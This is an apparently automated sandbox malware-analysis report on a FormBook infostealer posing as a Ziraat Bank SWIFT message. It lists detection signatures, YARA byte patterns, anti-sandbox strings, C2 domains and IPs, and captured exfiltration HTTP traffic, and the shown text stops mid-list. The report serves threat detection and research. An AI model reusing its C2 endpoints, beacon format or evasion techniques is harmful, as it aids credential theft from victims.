Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Ziraat Bankasi Swift Mesaji20221129-34221.exe

Overview

General Information

Sample Name:Ziraat Bankasi Swift Mesaji20221129-34221.exe
Analysis ID:755920
MD5:6a0ff43510923c27b144bf86b5e0a867
SHA1:880c264f12ea2175a81f7030dec9c7043093253f
SHA256:52426e75e25f69d9d7a8121464fe16a213ab48519ae10b2e2fc028ce86794a8b
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Sample uses process hollowing technique
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
Injects a PE file into a foreign processes
.NET source code contains method to dynamically call methods (often used by packers)
Queues an APC in another process (thread injection)
Deletes itself after installation
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Tries to harvest and steal browser information (history, passwords, etc)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Sample file is different than original file name gathered from version info
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Binary contains a suspicious time stamp
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.erwgcb.top/qmpa/"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x6611:$a1: 3C 30 50 4F 53 54 74 09 40
    • 0x1f040:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0xa8af:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    • 0x17de7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x17be5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x17691:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x17ce7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x17e5f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xa47a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x168dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0x1ddb7:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1edaa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x1a0b9:$sqlite3step: 68 34 1C 7B E1
    • 0x1ac31:$sqlite3step: 68 34 1C 7B E1
    • 0x1a0fb:$sqlite3text: 68 38 2A 90 C5
    • 0x1ac76:$sqlite3text: 68 38 2A 90 C5
    • 0x1a112:$sqlite3blob: 68 53 D8 7F 8C
    • 0x1ac8c:$sqlite3blob: 68 53 D8 7F 8C
    0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      Click to see the 25 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpackJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
        2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpackINDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPasteDetects executables potentially checking for WinJail sandbox windowditekSHen
        • 0xa79e:$v1: SbieDll.dll
        • 0xa7b8:$v2: USER
        • 0xa7c4:$v3: SANDBOX
        • 0xa7d6:$v4: VIRUS
        • 0xa826:$v4: VIRUS
        • 0xa7e4:$v5: MALWARE
        • 0xa7f6:$v6: SCHMIDTI
        • 0xa80a:$v7: CURRENTUSER
        2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpackJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
          2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPasteDetects executables potentially checking for WinJail sandbox windowditekSHen
          • 0x261c6:$v1: SbieDll.dll
          • 0x261e0:$v2: USER
          • 0x261ec:$v3: SANDBOX
          • 0x261fe:$v4: VIRUS
          • 0x2624e:$v4: VIRUS
          • 0x2620c:$v5: MALWARE
          • 0x2621e:$v6: SCHMIDTI
          • 0x26232:$v7: CURRENTUSER

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          ⊘No Snort rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Multi AV Scanner detection for submitted file
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeVirustotal: Detection: 44%Perma Link
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeReversingLabs: Detection: 39%
          Yara detected FormBook
          Source: Yara matchFile source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.559572185.00000000003C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.450620046.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.562531717.0000000000ED0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.413620011.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000000.388632949.000000000DEDE000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
          Antivirus detection for URL or domain
          Source: http://www.oaksinstitute.net/qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8KAvira URL Cloud: Label: malware
          Source: http://www.multimediapages.com/qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8KAvira URL Cloud: Label: malware
          Source: http://www.oaksinstitute.net/qmpa/Avira URL Cloud: Label: malware
          Source: http://www.multimediapages.com/qmpa/Avira URL Cloud: Label: malware
          Machine Learning detection for sample
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeJoe Sandbox ML: detected
          Source: 0000000A.00000002.560048415.0000000000820000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.erwgcb.top/qmpa/"]}
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: wntdll.pdbUGP source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: bqbz.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe

          Networking

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeDomain query: www.notarpucarhr.com
          Source: C:\Windows\explorer.exeDomain query: www.oaksinstitute.net
          Source: C:\Windows\explorer.exeNetwork Connect: 103.11.189.189 80
          Source: C:\Windows\explorer.exeDomain query: www.multimediapages.com
          Source: C:\Windows\explorer.exeNetwork Connect: 141.136.43.229 80
          Source: C:\Windows\explorer.exeNetwork Connect: 38.239.92.131 80
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.erwgcb.top/qmpa/
          Source: Joe Sandbox ViewASN Name: VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG VODIEN-AS-AP-LOC2VodienInternetSolutionsPteLtdSG
          Source: Joe Sandbox ViewASN Name: SENDER-ASLT SENDER-ASLT
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=EgIWtG18ZIzAqtaO1OmvkFLdPjhKt8Mp7J5Y1fxWkEB6Q9kPLkR881s923Q+G4W9S+aNob6MQv0YuDJ73ehw8miGBWwdljwfXw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.notarpucarhr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=rejTwVtqfB30O9nwV+ATTccd4/r3ZShDvm2ExT48d5W41t5gt2xe96xDcyDktEvrNydQ6GKmhPSZbQq/61ftArfg9GGH4Fupqg==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.multimediapages.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /qmpa/?mRh4lr=5Yvs1mt+8koK04wDmvle7hFJkaWhy6okw1CCpgEhtGW9Nwizn2cFt5qaMIq71RWOXG0+Z4ku5zJzPR6AZImqbF2d7jI61SlZkw==&VrWd=-Z5PLbzhUhYhR8K HTTP/1.1Host: www.oaksinstitute.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 103.11.189.189 103.11.189.189
          Source: global trafficHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.multimediapages.comConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.multimediapages.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.multimediapages.com/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 6d 63 4c 7a 7a 6c 6c 51 57 77 75 6a 4d 66 4c 6f 52 70 77 35 65 38 31 69 78 38 6d 58 62 51 5a 4c 73 6e 4b 42 38 44 67 6b 55 49 61 68 7a 49 4e 62 6e 6d 30 59 79 36 4e 37 54 33 76 33 72 6d 6a 76 4f 51 46 68 31 6d 33 6f 76 73 4f 62 52 57 69 70 78 6d 37 42 4a 65 6d 4c 79 44 61 4f 34 47 6a 5a 70 43 75 66 75 35 76 6e 6c 6f 37 78 30 70 79 2d 46 48 63 41 49 30 37 47 71 70 72 4a 54 36 4c 38 55 5f 45 6e 51 5f 28 48 66 38 64 59 50 71 62 30 78 31 7e 62 55 79 6f 4b 33 4e 37 6e 65 30 72 50 59 77 58 4c 45 4f 6b 50 39 51 71 56 47 51 6c 44 6f 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=mcLzzllQWwujMfLoRpw5e81ix8mXbQZLsnKB8DgkUIahzINbnm0Yy6N7T3v3rmjvOQFh1m3ovsObRWipxm7BJemLyDaO4GjZpCufu5vnlo7x0py-FHcAI07GqprJT6L8U_EnQ_(Hf8dYPqb0x1~bUyoK3N7ne0rPYwXLEOkP9QqVGQlDow).
          Source: global trafficHTTP traffic detected: POST /qmpa/ HTTP/1.1Host: www.oaksinstitute.netConnection: closeContent-Length: 188Cache-Control: no-cacheOrigin: http://www.oaksinstitute.netUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.oaksinstitute.net/qmpa/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 6d 52 68 34 6c 72 3d 30 61 48 4d 32 53 52 43 32 57 74 51 34 71 63 70 31 61 68 6c 38 43 63 78 6f 4f 6a 79 36 71 30 6a 28 53 62 46 31 42 42 5a 37 53 32 58 54 6c 79 6e 37 48 64 32 67 63 61 5a 4f 6f 7e 34 36 44 61 42 57 6c 52 4d 54 49 42 67 36 41 41 75 45 43 4b 33 5a 37 36 6e 62 45 53 67 34 30 67 31 35 7a 74 4b 74 6e 7a 76 4e 6f 42 6c 4f 45 53 30 6d 46 45 5a 56 59 47 65 6d 57 70 67 4c 65 42 6a 65 2d 62 39 76 71 50 59 42 50 7e 34 38 4a 48 50 49 6b 69 73 6c 63 62 4f 74 44 6d 64 62 6f 73 59 6a 61 55 64 70 58 71 63 33 32 77 72 35 74 69 53 7a 77 41 50 6b 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: mRh4lr=0aHM2SRC2WtQ4qcp1ahl8CcxoOjy6q0j(SbF1BBZ7S2XTlyn7Hd2gcaZOo~46DaBWlRMTIBg6AAuECK3Z76nbESg40g15ztKtnzvNoBlOES0mFEZVYGemWpgLeBje-b9vqPYBP~48JHPIkislcbOtDmdbosYjaUdpXqc32wr5tiSzwAPkw).
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 29 Nov 2022 09:18:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 33 63 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 54 5b 6f 1a 47 14 7e f7 af 98 ee 93 fd 00 03 8e 23 b9 74 d9 0a 1b 24 23 d9 8d 9b 90 56 7e 24 5c cc b6 c0 a2 65 12 5a 45 91 c0 89 0b 98 8b 89 8d 9d d8 59 9a d8 b2 1b d7 4e 16 47 69 31 e1 52 ff 97 64 67 76 79 f2 5f e8 59 96 52 b9 aa f2 b0 b3 3b 73 ce 9c ef 9c ef 3b 67 f9 2f bc b7 e6 03 2b cb 3e b4 10 58 5a 44 cb 77 e7 16 fd f3 88 b3 61 fc fd 8d 79 8c bd 01 af 65 98 b1 3b 9c 18 fb be e1 10 17 23 24 e5 c2 38 93 c9 d8 33 37 ec 92 bc 8a 03 b7 71 8c 24 e2 33 38 4d 64 31 44 ec 61 12 e6 84 09 de 8c 28 f0 0b 3e 8f 57 e0 03 fe c0 a2 4f 60 6b 27 4c 39 35 0e cf 58 b5 c0 1a 8f d9 cb 63 5d 29 19 cd e3 c1 c1 9f 3c b6 5c 26 f8 25 5f c0 03 a0 81 65 9b ef db bb fe ef dc dc bc 94 24 91 24 b1 05 7e 4e 45 38 34 da b9 39 12 f9 89 0c 71 bf 42 a1 58 50 4e 47 88 fb 3e 89 da 66 4d e8 3b 81 95 45 1f 22 70 61 e4 17 4a a7 e1 1c a1 b9 5b de 15 f4 10 45 21 a4 0b 7d 99 22 d8 39 9d 22 88 aa 25 ad bf 8d 1e 81 c3 82 73 6c 36 4d d8 79 f3 3f f6 e9 cf 5e f7 b8 e2 62 f2 47 70 09 49 71 49 76 21 39 12 1e 86 f5 b8 1e 88 69 91 c0 6e 6c 4a 04 65 49 4a 82 95 c7 c3 74 21 6d 6c 91 65 26 09 94 79 e6 a0 86 8c 18 26 31 f7 4d 87 03 dd 93 e4 70 44 76 3b 50 28 12 8f a7 53 c1 90 98 5c 75 3b 1d e0 78 1b 1e 2f 5c 8f 39 3f cf 30 d8 27 40 02 ad 5d a1 eb 17 f4 28 af f5 2f f5 fa 09 2b 66 d9 66 4d fb eb 85 be ff 84 e6 df b2 8a 3a d6 45 7f a1 d2 fe 0e 2b ec 82 40 60 05 c9 06 7b b5 4f d9 35 80 92 01 2f 25 18 cd 0b 7a de 30 9a 3b 5a f7 58 6b 97 d8 76 45 eb 2b 57 bd 7d 1e a7 c0 7e 3f 0e 4b 5c 14 e8 6f 6b ec 57 05 90 0d f5 48 6b 77 8c fc 29 bd 78 47 3b 75 50 de 78 dc a7 47 2f ff 17 70 d0 38 bc ea 95 01 41 6b 57 f5 fe 53 fd 6c 4f 57 0f f4 da 2f f4 e9 73 23 57 d7 df 77 21 11 1e 43 78 0b a3 b2 43 f3 5d 3e 88 62 72 24 ea e6 7e 08 3e 08 a6 43 b2 98 22 ae b8 14 0a 12 51 4a da e5 48 5c 0a 86 27 a7 38 81 16 2e d8 ee 39 8f 83 02 2b 17 07 5b 2a e0 d0 0f 2d 8b 0e ba de d2 ba bb 16 11 83 7c 05 6a fb 17 07 0f 2b 8a 4d 0b 66 7b a2 41 7d cf 68 36 d1 8c c3 69 77 22 1b 82 ce d6 bb 9b 56 67 03 05 86 7a 39 78 a6 ea f5 77 5a a7 3a a2 f5 d9 2b b6 53 30 bb bf b4 a5 77 1b 66 d8 7b b2 e0 87 e6 96 93 11 82 b4 cb 03 96 6b 32 a5 42 37 0e d0 a4 df 7f 67 8a c7 00 35 e6 9a 6d 64 99 d2 b4 bc ae 7a 05 20 d2 3a 61 f5 26 2b e7 b4 4e 07 88 b1 84 bc ea 15 af 0b 60 f4 df d0 c2 39 1a b3 33 1a e1 55 c9 9e 10 43 b2 94 96 a2 c4 1e 92 12 38 9a 31 bb 17 7f 6d ae 62 d8 3d eb 9c 75 70 c2 d2 3f 2e 48 eb bc a6 db 39 0b cf ca d3 a4 10 98 63 35 45 ff e3 90 96 d7 59 e9 cd c7 ac 62 b2 f3 31 db a0 5b 65 d8 00 3d f0 6d 76 cf ab fc e0 f0 f9 35 d1 58 71 9b f6 b2 e0 04 d5 22 da 56 e9 c6 ef e0 0b c5 d1 cd 26 55 4e 90 79 3c 12 7d ef 04 4d 8a 40 53 62 55 9e 42 5a fb ad 45 2f 54 0a da e9 4f 5a b4 56 b5 92 b0 50 80 1c 88 6a 74 ce b4 6e 7f 70 0a 4d 94 83 b8 9f b2 b0 2a d6 45 56 7d 4d 0b ad 71 92 74 fd 3d c8 64
          Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 29 Nov 2022 09:18:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 35 35 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0a 3c 2f 53 54 59 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0a 3c 68 31 3e e6 82 a8 e6 9c aa e8 a2 ab e6 8e 88 e6 9d 83 e6 9f a5 e7 9c 8b e8 af a5 e9 a1 b5 3c 2f 68 31 3e 0a e6 82 a8 e4 b8 8d e5 85 b7 e5 a4 87 e4 bd bf e7 94 a8 e6 89 80 e6 8f 90 e4 be 9b e7 9a 84 e5 87 ad e6 8d ae e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e7 9a 84 e6 9d 83 e9 99 90 e3 80 82 0a 3c 68 72 3e 0a 3c 70 3e e8 af b7 e5 b0 9d e8 af 95 e4 bb a5 e4 b8 8b e6 93 8d e4 bd 9c ef bc 9a 3c 2f 70 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e e5 a6 82 e6 9e 9c e6 82 a8 e8 ae a4 e4 b8 ba e8 87 aa e5 b7 b1 e5 ba 94 e8 af a5 e8 83 bd e5 a4 9f e6 9f a5 e7 9c 8b e8 af a5 e7 9b ae e5 bd 95 e6 88 96 e9 a1 b5 e9 9d a2 ef bc 8c e8 af b7 e4 b8 8e e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e8 81 94 e7 b3 bb e3 80 82 3c 2f 6c 69 3e 0a 3c 6c 69 3e e5 8d 95 e5 87 bb 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 22 3e e5 88 b7 e6 96 b0 3c 2f 61 3e e6 8c 89 e9 92 ae ef bc 8c e5 b9 b6 e4 bd bf e7 94 a8 e5 85 b6 e4 bb 96 e5 87 ad e6 8d ae e9 87 8d e8 af 95 e3 80 82 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 68 32 3e 48 54 54 50 20 e9 94 99 e8 af af 20 34 30 31 2e 31 20 2d 20 e6 9c aa e7 bb 8f e6 8e 88 e6 9d 83 ef bc 9a e8 ae bf e9 97 ae e7 94 b1 e4 ba 8e e5 87 ad e6 8d ae e6 97 a0 e6 95 88 e8 a2 ab e6 8b 92 e7 bb 9d e3 80 82 3c 62 72 3e 49 6e 74 65 72 6e 65 74 20 e4 bf a1 e6 81 af e6 9c 8d e5 8a a1 20 28 49 49 53 29 3c 2f 68 32 3e
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.336589275.00000000072C2000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299768442.000000000601A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.299949266.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300558881.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300033238.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300141919.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301117508.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300849965.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301599425.0000000006032000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300357512.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301307567.0000000006031000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300634815.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301060629.0000000006033000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300119023.0000000006035000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300403427.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300174244.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301530080.0000000006038000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300428223.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300331288.0000000006037000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.301709757.0000000006034000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300233806.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300190057.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000003.300258498.0000000006035000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi 